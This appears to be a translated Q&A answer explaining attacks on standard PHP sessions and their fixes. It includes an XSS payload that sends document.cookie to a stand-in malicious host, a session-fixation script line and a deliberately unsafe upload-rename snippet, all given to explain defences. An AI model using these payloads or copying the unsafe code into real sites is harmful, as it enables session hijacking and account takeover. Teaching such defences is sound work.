There are several possible attacks with the sessions, I will only consider the standard PHP sessions and with few variations.
The PHP session system is very simple, it saves a file in the folder /tmp/
with the session name. When you enter the page you receive a cookie PHPSESSID=123
and it creates a file sess_123
. So when the customer accesses the site he searches for the file sess_{Valor Do Cookie}
.
Summary:
The client has extensions, plugins, malicious software installed that can obtain cookies directly. Another customer situation accessed a page on your site that was injected with malicious code or injected a code into the console itself to do so.
Connection is being monitored/intercepted by a third party or connection was pointed to a server outside your control.
The server is generating predictable sessions, the value of the PHPSESSID
is generated in an unsafe manner allowing someone to know the next value or is not random. Another point is if someone gets access to the files on /tmp/
.
Now you need to know what "insignificant" is. For example, if someone gets access to the server’s SSH they will have to change the session files, that’s obvious. However, it will probably also be able to read/change other files, more important, which makes the problem of the sessions insignificant this situation.
However consider that you do something like:
rename($_FILES["UPLOAD"]["tmp_name"], '../tmp/' . basename(realpath($_POST['NOME'])));
It’s the same thing, you allow someone to change the temporary folder files. If someone sends a file containing login|i:10;
and as a name define sess_abc
. Then just change the cookie to abc
and this would make PHP read the session containing the $_SESSION['login']
with value of 10
.
It is impossible for me to say "it is unsafe" or "it is safe" based only on a line of code, that line is part of a whole set, which can be completely broken.
Main problems:
Client:
Cookie theft via XSS and Self-xss:
If you do not handle text output (using htmlentities
for example), it is possible for someone to send a text containing:
<script>$.post('http://site-do-mal.com', { cookie: document.cookie } );</script>
This will cause when the person accesses the page will send a request to a malicious person who will get the user’s cookies.
Correction:
- Always use
htmlentities
(or equivalent) correctly in the output of the text.
Add the flag HTTP-Only
in the cookie:
session.cookie_httponly = 1
- Add the header of
X-XSS-Protection
.
- Add the header of
Content-Security-Policy
(CSP).
If you’re using any version still supported (PHP 5.6, 7.0, and 7.1) session.use_only_cookies
is enabled by default, if you are not using these versions I believe that security is not a priority.
Cookie setting via XSS and the like:
Some sites often only use cookies for some parts of the site and this allows someone to make one Session Fixation easier. For example, the attacker enters your site normally and receives a cookie PHPSESSID=DEADBEEFFEED
, nothing wrong so far. Then he passes the victim the cookie DEADBEEFFEED
, for example using an XSS vulnerability:
<script>document.cookie = "PHPSESSID=DEADBEEFFEED";</script>
When the user will sign in to /login
the website will understand that this cookie has already been created (because the attacker entered the page and received this cookie, so it was legitimately created). The victim logs in and then the attacker will be able to access the user’s account, because he already knows which cookie the victim used.
Correction:
Limit cookies per IP:
if($_SESSION['Seguranca']['IP'] !== $_SERVER['REMOTE_ADDR']){
mata_esse_cookie_que_deu_ruim();
}
In this case when the attacker generates the IP will be recorded that it generated, when the victim access the IP will not be in the same IP. Although it is possible to cheat the REMOTE_ADDR
cannot receive the reply of the request.
This can be bad for the user, especially on mobile internet or using TOR. This does not protect if the victim and the attacker are using the same IP, for example if they are using public Wi-Fi or due to CGNAT.
Create cookie rotations:
if ($_SESSION['Seguranca']['Tempo'] < time() - 300) {
session_regenerate_id(true);
$_SESSION['Seguranca']['Tempo'] = time();
}
This will give the attacker little time to be able to use the cookie, because it will change every 5 minutes and the old one will no longer work.
Use of cookie via CSRF:
In most cases it is not possible to obtain the sessions used by the user, but some website may be able to send a request to your site using the user’s cookies. This would allow the other site to run actions that were not authorized by the user. To make my Jabá, the portal "E-cidadnia" was vulnerable to it, has now been corrected.
Correction:
- Add a CSRF-Token safe and safely compare.
- Add the flag
Same-site
cookie, not natively supported.
Malware and the like:
I believe it’s insignificant, it’s out of your hands.
Trust in Unsecured CA:
Sometimes users may be using an outdated browser or operating system that still considers some certificate issuing authorities to be safe. Github itself notified that Wosign issued a certificate for their domain, which they did not do, this is explained here.
Although it is difficult in these cases, it is possible that someone can issue a certificate and divert the client to such server, no "invalid certificate" will be shown and this can obtain the cookies of the users.
Correction:
- Add the header of
public-key-pins
(HPKP).
Communicating:
HTTP/Plain text:
If you use HTTP (not HTTPS) your website may be considered unsafe by default. All data transmitted is in plain text and anyone can obtain the cookie headers.
Correction:
- Use HTTPS.
Downgrade to HTTP:
Many people tend to think that "redirecting to HTTPS" is safe. If you redirect means that the request has already been sent using HTTP. If the user enters http://site.com
and then you redirect to https://site.com
cookies have already been sent on the first request.
Correction:
- Add the header of
Strict-Transport-Security
(STS).
- Add the flag
Secure
in the cookie:
Session.cookie_secure = 1
DNS abandoned:
It is common that some services will be perceived, adding for example ajuda.site.com
aimed at a Zendesk or a promocao.site.com
pointed to a Monkey Survey. After a while you decide to cancel such a subdomain, but it is still pointed at the DNS.
This allows someone to register with Zendesk, for example, and say that they own ajuda.site.com
and as it is pointed out correctly it will be able to allow the user to have control of the domain and therefore such person will be able to obtain the session cookies.
Correction:
- Remove the DNS pointed into the hereafter.
Restrict cookies to just one domain:
session.cookie_domain = "www.site.com"
Mitm in general:
I believe the above fixes also solve test problem in general cases. If someone is acting as a "proxy" on the network and seeing all the traffic it is important that such person cannot get the information from cookies, otherwise they can access someone else’s account.
Correction:
- Use HTTPS.
- Add the STS header.
- Add the HPKP header.
- Add DNSSEC to the domain.
Server:
Unsafe number generator:
This is a complicated case because the solution depends on the version (<= PHP 7.0 or >= PHP 7.1) and also depends on the environment it is in. However, if you use a non-secure number generator you may cause cookies to be generated in a predictable way, for example if you use a mt_rand()
to generate the value of PHPSESSID
you can be sure that after N values it will repeat in the same order, so we already know what the next value is. PHP by default uses the /dev/random
that some do not consider as safe due to the need to re-seed it may end up getting more predictable than the /dev/urandom
or it just might stop working.
Fix <= PHP 7.0:
session.entropy_length = 48
session.entropy_file = /dev/urandom
session.hash_function = sha256
session.hash_bits_per_character = 5
You will have 48 bytes of a minimally safer generator and use the SHA256, which has greater variation than MD5, used by default. Unfortunately no support for Blake2.
Fix >= PHP 7.1:
session.sid_length = 48
session.sid_bits_per_character=5
This version already uses a CSPRNG. But PHP prefers "compatibility" over security, so it preferred to keep it at 32 bytes or 48 bytes which is safer for general cases. The larger such number the more difficult to collide.
Prevent access to folder /tmp
:
As an example mentioned above, do not allow anyone to change the folder where sessions are stored. In general cases when this problem exists your problems are much bigger, so I believe it is insignificant in most cases, just take great care with uploads, reading, file edits.
Unsafe environment and the like:
If your server, from the operating system to the PHP version is outdated or is shared with several other websites of various types, this logically can make the sessions more insecure, but again this does not affect only the session systems.
Use the name of PHPSESSID
and /tmp/
for being standard, but both can be modified in PHP. There is no way to list all types of attacks, for two reasons, the first that would be extremely long and the second that I am not competent enough to know of all the attacks that exist.
Attacks Always get Better; they Never get Worse.
There are actually no security issues when determining a login value in Session. Try your settings, classes and look for PDO.
– Rafael Rotiroti
This should be some duplicate. "Safe" is very comprehensive. For example I can say that it is unsafe because if someone gets the value of the cookie
PHPSESSID
, it will have access to your account, without doing with any login. Hence the other question, how can he do that, what the possibility of that, how can he literally avoid it... If anyone has access to the folder/tmp/
, which is where the files are saved, in the default mode, you can access the content and edit the values.... There are several ways to consider the unsecured session method.– Inkeliz
@Rafaelrotiroti disagree, the security issue is not a problem in the API but rather how to use, ie there may be no problem how it can exist, depends on how the programmer used.
– Guilherme Nascimento